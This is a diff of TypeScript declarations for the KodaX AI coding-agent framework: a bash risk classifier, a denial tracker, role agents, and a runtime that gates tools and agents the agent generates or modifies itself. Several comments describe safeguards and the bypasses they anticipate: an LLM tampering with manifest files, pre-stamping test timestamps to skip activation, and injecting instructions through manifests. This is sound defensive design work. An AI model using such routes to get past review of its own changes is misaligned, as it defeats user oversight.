+    readonly reason: string;
+}
+interface ParallelDispatchResult {
+    readonly tasks: readonly {
+        readonly id: string;
+        readonly description: string;
+        readonly status: 'completed' | 'failed';
+        readonly summary: string;
+        readonly durationMs: number;
+    }[];
+    readonly overallSummary: string;
+    readonly totalDurationMs: number;
+}
+/**
+ * Check if a Scout directive indicates parallel dispatch.
+ */
+declare function isParallelDispatchDirective(directive: unknown): directive is ParallelDispatchDirective;
+/**
+ * Format parallel dispatch results into a user-facing summary.
+ */
+declare function formatParallelDispatchResult(result: ParallelDispatchResult): string;
+/**
+ * Validate that subtasks are independent (basic heuristic check).
+ * Returns null if valid, or an error message if not.
+ */
+declare function validateSubtaskIndependence(subtasks: readonly ParallelSubtask[]): string | null;
+
+/**
+ * KodaX Bash Command Risk Classifier
+ *
+ * Classifies bash commands into safe/normal/dangerous risk levels.
+ * Pure function, no side effects.
+ */
+type BashRiskLevel = 'safe' | 'normal' | 'dangerous';
+interface BashClassificationResult {
+    readonly level: BashRiskLevel;
+    readonly reason: string;
+    readonly matchedPattern?: string;
+}
+interface BashClassifierConfig {
+    readonly safePatterns: readonly RegExp[];
+    readonly dangerousPatterns: readonly RegExp[];
+}
+declare const DEFAULT_SAFE_PATTERNS: readonly RegExp[];
+declare const DEFAULT_DANGEROUS_PATTERNS: readonly RegExp[];
+declare function createBashClassifierConfig(userSafePatterns?: readonly string[], userDangerousPatterns?: readonly string[]): BashClassifierConfig;
+declare function classifyBashCommand(command: string, config?: BashClassifierConfig): BashClassificationResult;
+
+/**
+ * KodaX Denial Tracker - Immutable session-scoped tool denial tracking
+ *
+ * Tracks user permission denials to avoid re-prompting for the same operation.
+ * Provides denial context for injection into agent messages.
+ */
+interface DenialRecord {
+    readonly toolName: string;
+    readonly inputSignature: string;
+    readonly timestamp: number;
+    readonly reason?: string;
+}
+interface DenialTracker {
+    readonly records: readonly DenialRecord[];
+}
+declare function createDenialTracker(): DenialTracker;
+/**
+ * Compute a normalized signature for a tool input.
+ * - bash: first 3 tokens of the command
+ * - edit/write/read: file path
+ * - other: tool name + hash prefix
+ */
+declare function computeInputSignature(toolName: string, input: Record<string, unknown>): string;
+declare function recordDenial(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, reason?: string): DenialTracker;
+declare function isDeniedRecently(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, ttl?: number): boolean;
+/**
+ * Generate a denial context string for injection into agent messages.
+ * Tells the LLM what was denied so it can adjust its strategy.
+ */
+declare function getDenialContext(tracker: DenialTracker): string;
+
+/**
+ * Placeholder Agent declarations for the coding-AMA H2 task-engine roles
+ * (Scout / Planner / Generator / Worker).
+ *
+ * FEATURE_080 (v0.7.23): these declarations exist so the role identities
+ * are represented as Layer A `Agent` data, which downstream features need:
+ *
+ *   - FEATURE_084 (v0.7.26): runtime rewrite of Scout/Planner/Generator
+ *     on top of `Runner` consumes these declarations as the source of
+ *     truth for role metadata.
+ *   - FEATURE_078 (v0.7.29): reasoning profiles attach to the `reasoning`
+ *     field on these declarations.
+ *   - FEATURE_087+ self-construction: Agent-as-data means role specs can
+ *     be serialized, versioned, and mutated.
+ *
+ * Runtime note: **no preset dispatcher is registered for these agents**.
+ * They are declarative placeholders. `Runner.run(scoutAgent, ...)` without
+ * an `opts.llm` callback will throw the generic "no dispatcher" error;
+ * that's intentional — the current task-engine executes these roles via
+ * its existing internal flow, not through `Runner`. FEATURE_084 wires the
+ * Runner runtime to these declarations.
+ *
+ * `instructions` strings here are short identifier-level summaries — the
+ * full role prompts live in
+ * `packages/coding/src/task-engine/_internal/prompts/role-prompt.ts` (the
+ * FEATURE_079 extraction) and are loaded by the existing code path.
+ *
+ * v0.7.35.1 FEATURE_142 (A-R1): moved from `@kodax-ai/agent/src/primitives/`
+ * back to `@kodax-ai/coding/src/agents/`. These role declarations are
+ * coding-AMA-specific (Scout / Planner / Generator are the H2 state-machine
+ * roles, not generic Agent platform primitives). Per ADR-021, the universal
+ * `@kodax-ai/agent` framework must not predeclare coding's H2 role
+ * identities.
+ */
+
+declare const SCOUT_AGENT_NAME = "kodax/role/scout";
+declare const PLANNER_AGENT_NAME = "kodax/role/planner";
+declare const GENERATOR_AGENT_NAME = "kodax/role/generator";
+/**
+ * Scout role declaration. Scout is the AMA entry point that both judges
+ * task complexity and executes the H0 direct case; on H1/H2 it hands off
+ * to Generator or Planner (see FEATURE_061).
+ */
+declare const scoutAgent: Agent;
+/**
+ * Planner role declaration. Produces an execution plan consumed by
+ * Generator in the H2 harness.
+ */
+declare const plannerAgent: Agent;
+/**
+ * Generator role declaration. Performs the actual code changes /
+ * investigations in both H1 harness; text-only terminates so Sidecar
+ * Verifier (FEATURE_184 Phase D.2) takes over verification.
+ */
+declare const generatorAgent: Agent;
+/** All three placeholder role agents, exposed for iteration in downstream features. */
+declare const TASK_ENGINE_ROLE_AGENTS: Readonly<{
+    readonly scout: Agent<unknown>;
+    readonly planner: Agent<unknown>;
+    readonly generator: Agent<unknown>;
+}>;
+
+/**
+ * Default coding agent preset (FEATURE_080 → FEATURE_100).
+ *
+ * History:
+ *   v0.7.23 (FEATURE_080) introduced "Option Y": a `registerPresetDispatcher`
+ *   indirection that wrapped `runKodaX` so `Runner.run(defaultCodingAgent, …)`
+ *   appeared SDK-native while the body stayed on the legacy path. The trade-off
+ *   was deliberate parity insurance during the Layer-A primitives rollout.
+ *
+ *   v0.7.29 (FEATURE_100) deletes Option Y per ADR-020. The substrate executor
+ *   is attached directly to the Agent declaration via `Agent.substrateExecutor`
+ *   (an Agent field added in this version), and `Runner.run` consults that
+ *   field before any registry lookup. No `registerPresetDispatcher` call is
+ *   made any more, so `Runner.run(createDefaultCodingAgent(), …)` and
+ *   `runKodaX(opts, prompt)` (now a thin `Runner.run` wrapper in `agent.ts`)
+ *   share one execution path.
+ *
+ * This file stays in `@kodax-ai/coding` because the substrate executor closure
+ * imports `runSubstrate` from `agent-runtime/run-substrate.ts`. Importing
+ * `@kodax-ai/core` alone never loads the substrate body.
+ */
+
+/** Stable name used as the dispatch key for the built-in coding preset. */
+declare const DEFAULT_CODING_AGENT_NAME = "kodax/coding/default";
+/**
+ * Construct the default coding Agent declaration. SDK consumers may write
+ * `Runner.run(createDefaultCodingAgent(), prompt, { presetOptions })` and
+ * the Runner will execute the substrate via `Agent.substrateExecutor`.
+ *
+ * `overrides` lets callers attach additional declarative fields
+ * (e.g. custom `reasoning` profile, extra `guardrails`, custom
+ * `provider`/`model`); these are preserved on the Agent and may be
+ * consumed by the substrate executor through `presetOptions`.
+ */
+declare function createDefaultCodingAgent(overrides?: Partial<Omit<Agent, 'name' | 'instructions'>>): Agent;
+
+/**
+ * Coding Agent declarations — FEATURE_084 (v0.7.26).
+ *
+ * **These are declarative references exposing the canonical Scout /
+ * Planner / Generator topology to SDK consumers.** Each exported Agent
+ * carries the role's emit tool + the H0/H1/H2 handoff graph, but carries
+ * ONLY a short identifier `instructions` string and NO coding tools
+ * (read / grep / bash / write / edit / etc.).
+ *
+ * **The runtime agents are built fresh by
+ * `task-engine/runner-driven.ts::buildRunnerAgentChain` on every run**,
+ * with:
+ *   - full v0.7.22-parity `instructions` via
+ *     `_internal/managed-task/role-prompt.ts::createRolePrompt` (dynamic
+ *     closure resolving decision / contract / metadata / verification /
+ *     tool-policy / evidence-strategy / dispatch guidance per turn)
+ *   - per-run coding tools (read / grep / glob / bash / write / edit /
+ *     dispatch_child_task) wrapped with budget + mutation tracking +
+ *     progress reporting
+ *   - recorder-wrapped emit tools that drive the budget-extension
+ *     dialog + degraded-continue logic
+ *
+ * So these exports are **useful as topology documentation and as a
+ * starting point for custom Runner invocations** (e.g. Runner.run with
+ * your own llm adapter), but they are NOT the agents that run under
+ * normal AMA dispatch. Do not expect wrapping `scoutCodingAgent` to
+ * give you the behaviour of an in-SDK AMA run — for that, use
+ * `runManagedTaskViaRunner` or the preset dispatcher on
+ * `createDefaultCodingAgent`.
+ */
+
+/** Marker exported for tests and for future binding sites in Shard 5. */
+declare const CODING_AGENT_MARKER: "kodax-coding-agent@0.7.26";
+declare const scoutCodingAgent: Agent;
+declare const plannerCodingAgent: Agent;
+declare const generatorCodingAgent: Agent;
+/**
+ * Topology record — iterable form of the three coding agents. Shard 5's
+ * Runner-driven dispatcher uses this as the agent lookup.
+ */
+declare const CODING_AGENTS: Readonly<{
+    readonly scout: Agent<unknown>;
+    readonly planner: Agent<unknown>;
+    readonly generator: Agent<unknown>;
+}>;
+
+/**
+ * Adapter: wrap `applyToolResultGuardrail` (the existing per-tool truncation
+ * policy) as a Layer A `ToolGuardrail.afterTool`.
+ *
+ * FEATURE_085 (v0.7.26): the tri-layer Guardrail runtime lives in
+ * `@kodax-ai/core`. The existing truncation logic in `tool-result-policy.ts`
+ * predates that runtime and targets `KodaXToolExecutionContext`. Rather
+ * than merge the two, we expose an adapter that coding consumers can
+ * register when driving a Runner through the generic path — the adapter
+ * preserves byte-exact truncation behaviour while participating in the
+ * new Guardrail lifecycle (Span emission, declaration-order composition).
+ *
+ * **Not** registered by default. Consumers opt in via
+ * `Runner.run(agent, input, { guardrails: [createToolResultTruncationGuardrail(ctx)] })`.
+ * The built-in `runKodaX` preset dispatcher continues to call
+ * `applyToolResultGuardrail` directly — no behavioural change there.
+ */
+
+declare const TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME = "tool-result-truncation";
+/**
+ * Create a `ToolGuardrail` that delegates to `applyToolResultGuardrail` in
+ * its `afterTool` hook. The returned guardrail does not touch the call
+ * going in (no `beforeTool`).
+ *
+ * @param ctx The coding-layer execution context that
+ * `applyToolResultGuardrail` needs (mutation tracker, persistence dir,
+ * etc.). Typically created alongside the `KodaXOptions` for the run.
+ */
+declare function createToolResultTruncationGuardrail(ctx: KodaXToolExecutionContext): ToolGuardrail;
+
+/**
+ * KodaX Constructed-World types (FEATURE_087, v0.7.28).
+ *
+ * Runtime-generated capabilities (tools / agents / skills / ...) live in
+ * `.kodax/constructed/` and are loaded into the same registries as builtin
+ * primitives. v0.7.28 only ships tool generation (FEATURE_088); other kinds
+ * land in FEATURE_089 / FEATURE_090.
+ *
+ * Cross-references:
+ *   - DD §14 — lifecycle, security model, registry merge semantics.
+ *   - docs/features/v0.7.28.md — capability schema, generation flow.
+ */
+/**
+ * Handler script source. v0.7.28 limits language to `'javascript'` so that
+ * `loadHandler()` can `await import()` the file directly without an
+ * intermediate TS → JS compile step (no esbuild / tsx dependency).
+ *
+ * TypeScript handlers are explicitly out of scope; Coding Agent generates
+ * JS strings on the wire.
+ */
+interface ScriptSource {
+    readonly kind: 'script';
+    readonly language: 'javascript';
+    readonly code: string;
+}
+/**
+ * Capability declaration.
+ *
+ * v0.7.28 ships the single-dimension form: a whitelist of builtin tool
+ * names that the handler may invoke through `ctx.tools.<name>(...)`.
+ * All I/O — fs / net / env — must flow through builtin tools (`read` /
+ * `write` / `bash` / etc.); handlers do not receive direct `ctx.fs` /
+ * `ctx.net` / `ctx.env` entry points.
+ *
+ * Forward-compatible evolution: if the future demands path/domain-level
+ * constraints, this can grow to `(string | { name; constraints })[]`
+ * without breaking existing manifests.
+ */
+interface Capabilities {
+    readonly tools: readonly string[];
+}
+/**
+ * Tool-kind artifact body (the `content` of `ConstructionArtifact` when
+ * `kind === 'tool'`).
+ */
+interface ToolContent {
+    readonly description: string;
+    readonly inputSchema: Record<string, unknown>;
+    readonly capabilities: Capabilities;
+    readonly handler: ScriptSource;
+    /**
+     * Per-tool timeout override. Defaults to {@link DEFAULT_HANDLER_TIMEOUT_MS}
+     * when omitted. Bounded by AbortController in `loadHandler()`.
+     */
+    readonly timeoutMs?: number;
+}
+/**
+ * Default handler timeout. Picked to match the historical ceiling on
+ * builtin streaming tools (30s); revisit if a constructed tool demands
+ * longer-running computation.
+ */
+declare const DEFAULT_HANDLER_TIMEOUT_MS = 30000;
+/**
+ * Lifecycle state on disk. Drives both the startup glob filter and the
+ * `revoke()` semantics. See DD §14.1 — file system is the single source
+ * of truth; no separate `_manifest.json` index file (C4 decision).
+ */
+type ArtifactStatus = 'staged' | 'active' | 'revoked';
+/**
+ * Reference to a tool by stable id. v0.7.31 (FEATURE_089) introduces
+ * Agent manifests that bundle tool refs rather than inline tool bodies;
+ * the resolver expands these refs to concrete `KodaXToolDefinition`
+ * instances at activate time.
+ *
+ * `ref` shape:
+ *   - `builtin:<name>`            — a tool from the static registry
+ *     (e.g. `builtin:read`, `builtin:bash`)
+ *   - `constructed:<name>@<ver>`  — a previously-activated constructed tool
+ */
+interface ToolRef {
+    readonly ref: string;
+}
+/**
+ * Reference to a Guardrail by stable id. The Layer A `Guardrail`
+ * declaration is name-only (no runtime hooks); resolvers map known
+ * names to constructed `ToolGuardrail` / `InputGuardrail` /
+ * `OutputGuardrail` instances at activation time.
+ */
+interface GuardrailRef {
+    readonly kind: 'input' | 'output' | 'tool';
+    readonly ref: string;
+}
+/**
+ * Reference to a handoff target by stable id (another constructed agent
+ * or a builtin role). The resolver expands `target.ref` to the actual
+ * `Agent` declaration at admission time so the handoff DAG check
+ * (`handoffLegality` invariant) sees the full graph.
+ */
+interface AgentHandoffRef {
+    readonly target: {
+        readonly ref: string;
+    };
+    readonly kind: 'continuation' | 'as-tool';
+    readonly description?: string;
+}
+/**
+ * Reasoning profile declaration mirroring the Layer A
+ * `AgentReasoningProfile`. Kept structurally identical so the resolver
+ * passes the value through without re-shaping.
+ */
+interface AgentReasoningRef {
+    readonly default: 'quick' | 'balanced' | 'deep';
+    readonly max?: 'quick' | 'balanced' | 'deep';
+    readonly escalateOnRevise?: boolean;
+}
+/**
+ * Sandbox test case. Used by `sandbox_test_agent` to verify a
+ * constructed agent before it can activate. Each case feeds `input`
+ * to a sandbox Runner instance and grades the agent's final output:
+ *
+ *   - `expectMatch`     — final text must match this regex (string form)
+ *   - `expectNotMatch`  — final text must NOT match this regex
+ *   - `expectFinalText` — exact substring match (case-sensitive)
+ *
+ * At least one of the three expect-fields must be present; the cases
+ * are graded by `runSandboxAgentTest()` (FEATURE_089 Phase 3.5).
+ */
+interface AgentTestCase {
+    readonly id: string;
+    readonly input: string;
+    readonly expectMatch?: string;
+    readonly expectNotMatch?: string;
+    readonly expectFinalText?: string;
+}
+/**
+ * Agent-kind artifact body (the `content` of `ConstructionArtifact`
+ * when `kind === 'agent'`).
+ *
+ * FEATURE_089 (v0.7.31): all fields except `instructions` are optional;
+ * a minimal "echo agent" can be expressed as `{ instructions: '...' }`.
+ * Tool / handoff / guardrail refs are resolved at admission time
+ * (Runner.admit's 5-step audit expands them and feeds the resolved
+ * Agent through the invariant chain).
+ */
+interface AgentContent {
+    readonly instructions: string;
+    readonly tools?: readonly ToolRef[];
+    readonly handoffs?: readonly AgentHandoffRef[];
+    readonly reasoning?: AgentReasoningRef;
+    readonly guardrails?: readonly GuardrailRef[];
+    readonly model?: string;
+    readonly provider?: string;
+    /**
+     * Optional structured-output schema mirroring `Agent.outputSchema`.
+     * Pure pass-through to the runtime — admission does not validate
+     * shape semantics here, only well-formed JSON.
+     */
+    readonly outputSchema?: Record<string, unknown>;
+    /**
+     * Optional sandbox test cases. When present, `sandbox_test_agent`
+     * runs them; when absent, the test step performs only the static
+     * checks (manifest schema + admission audit).
+     */
+    readonly testCases?: readonly AgentTestCase[];
+    /**
+     * Maximum total budget (iteration count) the agent may consume.
+     * Plumbed onto the resolved `AgentManifest.maxBudget` and clamped by
+     * `budgetCeiling` invariant during admission.
+     */
+    readonly maxBudget?: number;
+    /**
+     * Voluntary additional invariants the LLM declares this agent
+     * commits to. Plumbed onto `AgentManifest.declaredInvariants`;
+     * unioned on top of the required set during admission.
+     */
+    readonly declaredInvariants?: readonly string[];
+}
+/**
+ * Persisted artifact shape (one JSON file per name/version under
+ * `.kodax/constructed/<kind>s/<name>/<version>.json`).
+ *
+ * Discriminated union over `kind`:
+ *   - `kind: 'tool'`  — v0.7.28 (FEATURE_088) tool generation
+ *   - `kind: 'agent'` — v0.7.31 (FEATURE_089) agent generation; passes
+ *                       through `Runner.admit()` at activation time
+ *
+ * Lifecycle fields (status / timestamps / contentHash / sourceAgent /
+ * signedBy) are common to all kinds.
+ */
+type ConstructionArtifact = ToolArtifact | AgentArtifact;
+interface ConstructionArtifactBase {
+    readonly name: string;
+    readonly version: string;
+    status: ArtifactStatus;
+    readonly signedBy?: string;
+    readonly createdAt: number;
+    readonly sourceAgent?: string;
+    testedAt?: number;
+    activatedAt?: number;
+    revokedAt?: number;
+    /**
+     * SHA-256 of `JSON.stringify(content)` captured at activate time.
+     * `rehydrateActiveArtifacts()` recomputes and compares — a mismatch
+     * indicates the manifest was edited between activation and the next
+     * boot (naive cross-session tampering, e.g. an LLM rewriting the .json
+     * via the Write tool without recomputing the hash). Mismatched
+     * artifacts are skipped at rehydrate with a stderr warning. This is
+     * NOT a defense against a coordinated attacker who recomputes the
+     * hash; the threat model is single-user CLI integrity, not multi-user
+     * supply chain.
+     */
+    contentHash?: string;
+}
+interface ToolArtifact extends ConstructionArtifactBase {
+    readonly kind: 'tool';
+    readonly content: ToolContent;
+}
+interface AgentArtifact extends ConstructionArtifactBase {
+    readonly kind: 'agent';
+    readonly content: AgentContent;
+}
+/**
+ * Returned by {@link ConstructionRuntime.stage}; opaque handle that
+ * downstream `test()` / `activate()` calls bind to.
+ */
+interface StagedHandle {
+    readonly artifact: ConstructionArtifact;
+    readonly stagedAt: number;
+}
+/**
+ * Outcome of {@link ConstructionRuntime.test}. `ok=false` blocks
+ * activation; `warnings` surface but do not block.
+ */
+interface TestResult {
+    readonly ok: boolean;
+    readonly errors?: readonly string[];
+    readonly warnings?: readonly string[];
+}
+/**
+ * Policy gate — invoked once per `activate()` before the artifact is
+ * registered. Default rejects implicit auto-approval; the REPL surface
+ * binds a dialog-based policy in `packages/repl/src/common/construction-
+ * bootstrap.ts` so user approval flows through the live askUser channel.
+ *
+ * Modeled as a function type rather than an interface (D3 decision):
+ * keeps the contract surface tiny, no class boilerplate.
+ *
+ * No declarative `kodax.config.ts` override hatch is provided — see the
+ * "Deferred Design Decisions" section in `features/v0.7.28.md` for why
+ * a `risk_mode` enum (when truly needed) is preferred over user-authored
+ * policy functions.
+ */
+type ConstructionPolicy = (artifact: ConstructionArtifact) => Promise<ConstructionPolicyVerdict>;
+type ConstructionPolicyVerdict = 'approve' | 'reject' | 'ask-user';
+/** Default policy: always ask the user; no implicit approvals. */
+declare const defaultPolicy: ConstructionPolicy;
+/**
+ * Thrown by `CtxProxy` when handler attempts to access a tool not declared
+ * in `capabilities.tools`. Caught in tracer; surfaces as a tool error.
+ */
+declare class CapabilityDeniedError extends Error {
+    readonly toolName: string;
+    readonly declaredTools: readonly string[];
+    constructor(toolName: string, declaredTools: readonly string[]);
+}
+/**
+ * Thrown when a manifest cannot be parsed / is missing required fields.
+ * Surfaces during stage() / startup glob; tracer records details.
+ */
+declare class ConstructionManifestError extends Error {
+    readonly path?: string;
+    constructor(message: string, path?: string);
+}
+
+/**
+ * FEATURE_089 Phase 3.5 — Sandbox Agent Test Runner.
+ *
+ * Drives the manifest's `testCases` through `Runner.run` with an
+ * isolated configuration, then grades the outputs against the per-case
+ * expectations (expectMatch / expectNotMatch / expectFinalText). Used
+ * by `testAgentArtifact` when a sandbox LLM callback is provided.
+ *
+ * Isolation approach:
+ *
+ *   - Each case gets a fresh `Runner.run` call. No shared session or
+ *     transcript across cases.
+ *   - The agent's tools are NOT executed in the sandbox path — the
+ *     sandbox grades the agent's text output, not its tool invocation
+ *     pattern. (Tool sandboxing is its own concern; FEATURE_088
+ *     ConstructionRuntime already gates tool capability.)
+ *   - `tracer: null` is passed so sandbox runs don't pollute the
+ *     production trace graph.
+ *   - `budgetMs` provides a per-case wall-clock cap; default 30s
+ *     mirrors the `DEFAULT_HANDLER_TIMEOUT_MS` used for tool sandbox.
+ *
+ * The result aggregates per-case verdicts. Aggregate `ok` is true iff
+ * every case passed; the `cases[]` array preserves order so callers
+ * (TestResult renderer) can surface a granular failure summary.
+ */
+
+/**
+ * LLM callback type accepted by the sandbox runner. Same shape as
+ * `Runner.run`'s `opts.llm` so callers can either reuse their
+ * production callback (with caching) or inject a deterministic mock.
+ */
+type SandboxLlmCallback = (messages: readonly AgentMessage[], agent: Agent) => Promise<RunnerLlmReturn>;
+
+/**
+ * Provider-specific tool input_schema validation.
+ *
+ * Constructed tool input_schema is JSON Schema, but each LLM provider
+ * accepts a different subset. KodaX builtin tool schemas were authored
+ * by hand and stay within the Anthropic intersection; LLM-generated
+ * constructed handler schemas need a runtime gate.
+ *
+ * v0.7.28 ships the `'anthropic'` validator (the main verification path).
+ * Other providers fall through with a warning so the existing builtin
+ * dispatch path continues to work — they just don't get schema-level
+ * pre-flight checks for constructed tools.
+ *
+ * Reference: Anthropic public API docs and observed 4xx behavior.
+ */
+type SchemaProvider = 'anthropic' | 'openai' | string;
+interface SchemaValidationResult {
+    readonly ok: boolean;
+    readonly errors: readonly string[];
+    readonly warnings: readonly string[];
+}
+declare function validateToolSchemaForProvider(inputSchema: unknown, provider?: SchemaProvider): SchemaValidationResult;
+
+/**
+ * LLM-driven static review for constructed tool handlers (DD §14.5.1).
+ *
+ * Two-tier static check sequence:
+ *   1. AST hard rules (ast-rules.ts) — cheap, deterministic, AST-precise.
+ *   2. LLM review (this module) — covers semantic-level patterns that
+ *      AST rules cannot reasonably express (string concatenation
+ *      obfuscation, indirect references, capabilities/code mismatch).
+ *
+ * The LLM reviewer is dependency-injected via `LlmReviewClient`, so:
+ *   - Production wires a real KodaXClient call (Anthropic main path).
+ *   - Mocked-LLM tests inject a fake reviewer for verdict-dispatch
+ *     coverage (`.test.ts`, zero API cost).
+ *   - Real-LLM accuracy tests (`.eval.ts`, gated by API key) inject a
+ *     live client to measure precision/recall on a curated handler set.
+ *
+ * Verdict dispatch (handled by ConstructionRuntime.testArtifact):
+ *   - 'safe'        → proceed to stage / activate.
+ *   - 'suspicious'  → policy gate (caller decides; default ask-user).
+ *   - 'dangerous'   → reject outright; do not enter policy gate.
+ */
+
+type LlmReviewVerdict = 'safe' | 'suspicious' | 'dangerous';
+interface LlmReviewResult {
+    readonly verdict: LlmReviewVerdict;
+    readonly concerns: readonly string[];
+    readonly suggestedCapabilities: readonly string[];
+    /** Echoed for debugging; raw text from the LLM before parse. */
+    readonly raw?: string;
+}
+/**
+ * Caller-injected LLM client. Receives a fully-formed prompt; returns
+ * the LLM's raw response text (must include a JSON object that
+ * {@link parseLlmReviewVerdict} can extract).
+ *
+ * Kept at this minimal shape so wiring to KodaXClient (Anthropic main
+ * path), to a mock, or to a real `.eval.ts` harness all stay trivial.
+ */
+type LlmReviewClient = (prompt: string) => Promise<string>;
+interface BuildPromptInput {
+    readonly handlerCode: string;
+    readonly capabilities: Capabilities;
+    /** Optional: name@version for prompt context. */
+    readonly artifactRef?: string;
+}
+/**
+ * Build the review prompt. Mirrors the structure described in
+ * v0.7.28.md FEATURE_088 §安全考虑 — the LLM is told it IS KodaX
+ * reviewing another KodaX agent's output (commit 74d4aaa self-identity
+ * propagation), with explicit capability whitelist and pattern list.
+ */
+declare function buildLlmReviewPrompt(input: BuildPromptInput): string;
+/**
+ * Parse a verdict JSON object out of the LLM's raw response. Tolerant
+ * of surrounding prose / code fences (some models add them despite
+ * instructions).
+ *
+ * Throws when no parseable verdict can be extracted — caller should
+ * surface that as a `dangerous` outcome (defense in depth: a reviewer
+ * that fails to produce a verdict cannot be trusted to clear).
+ */
+declare function parseLlmReviewVerdict(raw: string): LlmReviewResult;
+/**
+ * Convenience: build prompt → call client → parse verdict.
+ * Errors from the client / parser bubble up unchanged.
+ */
+declare function runLlmReview(input: BuildPromptInput, client: LlmReviewClient): Promise<LlmReviewResult>;
+
+/**
+ * FEATURE_090 (v0.7.32) — LLM-assisted diff summary for self-modify
+ * activation. Replaces the divergence-score idea from the original
+ * spec: instead of mechanical thresholds (Levenshtein/Jaccard/etc.)
+ * with arbitrary numbers, we ask an LLM to read the prev/next pair
+ * and produce a structured summary the user reviews via ask-user.
+ *
+ * Why LLM-as-summariser instead of LLM-as-judge:
+ *   The LLM only describes what changed. The user (not the LLM)
+ *   makes the activate / reject call. The summary is *advice* layered
+ *   on top of the raw diff — the ask-user surface always shows the
+ *   prev/next manifests verbatim, so a malicious or hallucinating
+ *   summariser cannot trick the user into approving something they
+ *   couldn't see.
+ *
+ * Defenses against prompt injection through the manifest itself:
+ *   - Structured JSON output with strict shape; non-conforming
+ *     responses degrade to a fixed-text fallback (`severity: 'major'`,
+ *     `summary: 'LLM summary unavailable …'`). The user still sees
+ *     the raw diff.
+ *   - System prompt frames the LLM as KodaX reviewing a manifest;
+ *     mirrors the existing `runLlmReview` (FEATURE_089) framing.
+ *   - The reviewer LLM and the modifying agent's LLM are
+ *     dependency-injected separately — callers may use a stronger
+ *     model for review than for execution.
+ *
+ * Reuses the `LlmReviewClient` type from FEATURE_089 verbatim — same
+ * shape (prompt → raw text), so REPL wiring can use a single
+ * KodaXClient binding for both `test_agent` static review and this
+ * self-modify summary.
+ */
+
+/**
+ * Severity tag the LLM applies to its own summary. Drives the tone
+ * of the ask-user UI (a `major` change pre-selects "reject", a
+ * `minor` change pre-selects "approve" — but the user still has to
+ * confirm). Tied to the audit log `severity` field.
+ */
+type SelfModifyDiffSeverity = 'minor' | 'moderate' | 'major';
+/**
+ * Structured output emitted by `runSelfModifyDiffSummary`. The shape
+ * is the contract the LLM must satisfy; deviations fall back to the
+ * fixed-text "unavailable" record.
+ */
+interface SelfModifyDiffSummary {
+    readonly summary: string;
+    readonly severity: SelfModifyDiffSeverity;
+    readonly flaggedConcerns: readonly string[];
+    /** Echoed for debugging; raw text from the LLM before parse. */
+    readonly raw?: string;
+}
+
+/**
+ * ConstructionRuntime — stage / test / activate / revoke / list lifecycle
+ * for runtime-generated capabilities (FEATURE_087, v0.7.28).
+ *
+ * Module-level singleton: KodaX runs one runtime per process. Tests
+ * reset via `_resetRuntimeForTesting()`. Configuration is overridden
+ * through `configureRuntime({ cwd, policy })`.
+ *
+ * No class boilerplate (KodaX philosophy — small focused functions). The
+ * "instance state" is just two module-private variables: `_options` and
+ * `_activated`. Persistence is the file system itself; no in-memory
+ * artifact cache outside what TOOL_REGISTRY already holds via the
+ * unregister-callback map.
+ *
+ * v0.7.28 Phase 1 scope:
+ *   - Lifecycle plumbing only.
+ *   - `test()` is intentionally minimal — Guardrail static check + LLM
+ *     review + provider schema validator land in Phase 2.
+ *   - Policy gate honors a `'reject'` verdict but throws on `'ask-user'`
+ *     because Phase 1 has no built-in user-prompt UI; callers (REPL,
+ *     test code) must override `constructionPolicy` to wire one.
+ */
+
+/**
+ * Input passed to a `SelfModifyAskUser` callback when the activate
+ * path detects a self-modify. Carries everything the surface needs
+ * to render an informed approve/reject prompt: prev + proposed
+ * manifests for raw diff, the LLM summary, and the budget snapshot.
+ *
+ * Kept separate from FEATURE_088's `ConstructionPolicy` shape so the
+ * existing first-time-staging policy flow stays unchanged. The two
+ * gates are mutually exclusive — self-modify never reaches
+ * `_options.policy`.
+ */
+interface SelfModifyAskUserInput {
+    readonly agentName: string;
+    readonly fromVersion: string;
+    readonly toVersion: string;
+    readonly prevContent: AgentContent;
+    readonly nextContent: AgentContent;
+    readonly llmSummary: SelfModifyDiffSummary;
+    readonly budgetRemaining: number;
+    readonly budgetLimit: number;
+}
+/**
+ * Force-ask-user gate for self-modify activations. Returns the user's
+ * verdict; never `'ask-user'` because by reaching this callback we
+ * already know we need to ask the user. REPL surfaces wire a
+ * dialog-based callback at startup; non-REPL surfaces leave this
+ * undefined and self-modify activations hard-fail with a clear
+ * configuration error.
+ */
+type SelfModifyAskUser = (input: SelfModifyAskUserInput) => Promise<'approve' | 'reject'>;
+interface RuntimeOptions {
+    /** Workspace root for `.kodax/constructed/`. Defaults to `process.cwd()`. */
+    readonly cwd: string;
+    /** Activation policy gate. Defaults to `defaultPolicy` (ask-user). */
+    readonly policy: ConstructionPolicy;
+    /**
+     * FEATURE_090 — optional LLM client used for self-modify diff
+     * summaries. When undefined, `runSelfModifyDiffSummary` falls back
+     * to the unavailable-summary record (severity='major', user still
+     * sees the raw diff). REPL bootstrap binds the same KodaXClient as
+     * `test_agent`'s LLM reviewer.
+     */
+    readonly llmReviewer?: LlmReviewClient;
+    /**
+     * FEATURE_090 — force-ask-user callback for self-modify activations.
+     * Required from any surface that wants self-modify to succeed; if
+     * undefined, self-modify activations are rejected (matches the
+     * non-interactive default for the regular policy gate).
+     */
+    readonly selfModifyAskUser?: SelfModifyAskUser;
+}
+declare function configureRuntime(overrides: Partial<RuntimeOptions>): void;
+/** Test-only — clears in-memory state. Does not touch the filesystem. */
+declare function _resetRuntimeForTesting(): void;
+/**
+ * Persist a freshly-built artifact to `.kodax/constructed/<kind>s/<name>/<version>.json`
+ * with `status: 'staged'`.
+ *
+ * Version immutability: if any manifest at the same name+version already
+ * exists on disk (in any status — staged, active, or revoked), stage()
+ * refuses to overwrite. Bumping the semver is the supported update path.
+ *
+ * Why "any status", not just `'active'`:
+ *   The handler's `.js` module is loaded via `await import(file://…)`
+ *   which the ESM module cache keys by absolute file URL. Re-writing
+ *   `<version>.js` in place leaves the cached module pointing at the
+ *   OLD code; subsequent loadHandler() calls return the cached export.
+ *   Even revoking first does not flush the cache (Node has no public
+ *   ESM cache eviction API). The only safe-by-construction policy is
+ *   "version is immutable on disk — bump semver to update."
+ *
+ * Lifecycle timestamp reset: `testedAt` / `activatedAt` / `revokedAt`
+ * are explicitly cleared on the persisted record, even if the input
+ * artifact carries them. Defends against an LLM-supplied artifact
+ * pre-stamping testedAt to bypass the activate() gate.
+ */
+declare function stage(artifact: ConstructionArtifact): Promise<StagedHandle>;
+/**
